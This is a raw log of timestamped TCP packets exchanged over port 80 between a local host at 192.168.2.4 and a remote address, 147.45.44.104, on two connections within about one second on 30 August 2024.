Aug 30, 2024 06:17:04.981853962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982006073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982017040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982029915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982039928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982042074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982049942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982060909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982064962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982072115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982081890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982084036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982095003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982095957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982115030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982129097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982296944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982306957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982316017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982325077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982340097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982347965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982356071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982364893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982366085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982376099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982381105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982387066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982393026 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982397079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982407093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982412100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982417107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982426882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982429028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982436895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982441902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982448101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982459068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982462883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982472897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982474089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982492924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982506990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982547045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982557058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982566118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982577085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982587099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982595921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982615948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982626915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982661009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982671976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982681990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.982707977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.982723951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983303070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983314037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983331919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983341932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983351946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983361959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983364105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983372927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983375072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983383894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983397961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983417034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983418941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983427048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983438969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983460903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983475924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983608961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983623981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983633995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983644962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983655930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983665943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983669043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983678102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983681917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983690023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983699083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983709097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983710051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983719110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983730078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983730078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983742952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983764887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.983968973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983979940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.983995914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984008074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984018087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984019041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984019995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984029055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984039068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984050035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984055042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984085083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984117031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984369993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984380960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984391928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984427929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984452963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984458923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984476089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984493017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984503984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984514952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984515905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984530926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984543085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984544039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984554052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984561920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984565973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984576941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984590054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984592915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984603882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984616041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984636068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984642029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984652996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984675884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984678030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984689951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984699965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984702110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984715939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984719038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984734058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984766006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984878063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984888077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984898090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984909058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984916925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984920025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984930038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984940052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984945059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984951019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984961033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.984966993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.984980106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985011101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985287905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985299110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985307932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985338926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985342026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985358000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985361099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985369921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985379934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985387087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985392094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985408068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985428095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985440969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985452890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985465050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985487938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985497952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985543013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985553026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985563993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985577106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.985585928 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.985610008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.986311913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986323118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986332893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986356974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.986376047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.986382961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986392975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986403942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986413956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986426115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.986428022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.986454010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.986474991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017154932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017173052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017183065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017193079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017203093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017216921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017227888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017235994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017237902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017249107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017260075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017278910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017296076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017321110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017337084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017349005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017359018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017384052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017384052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017420053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017426014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017436028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017445087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017456055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017466068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017476082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017484903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017484903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017517090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017517090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017587900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017596960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017607927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017618895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017628908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017638922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017647982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017647982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017647982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017662048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017680883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017729044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017745018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017754078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017764091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017770052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017770052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017774105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017784119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017793894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017802000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017832994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017833948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017872095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017883062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017890930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017920971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017926931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017930031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017937899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017946959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017957926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.017977953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.017998934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018145084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018155098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018165112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018173933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018183947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018194914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018204927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018204927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018204927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018214941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018234015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018234015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018266916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018266916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018276930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018306971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018306971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018449068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018459082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018466949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018476963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018486977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018491983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018496990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018505096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018512964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018515110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018524885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018532038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018533945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018544912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018553972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018563986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018563986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018568993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018580914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018591881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018591881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018591881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018609047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018635035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018767118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018776894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018785954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018795013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018805027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018811941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018811941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018814087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018824100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018832922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018834114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018841982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.018862009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018862009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018868923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.018884897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019040108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019052982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019068003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019077063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019084930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019088030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019094944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019099951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019104004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019110918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019114971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019124031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019133091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019135952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019143105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019153118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019162893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019165993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019165993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019172907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019181967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019191027 CEST	80	49733	147.45.44.104	192.168.2.4
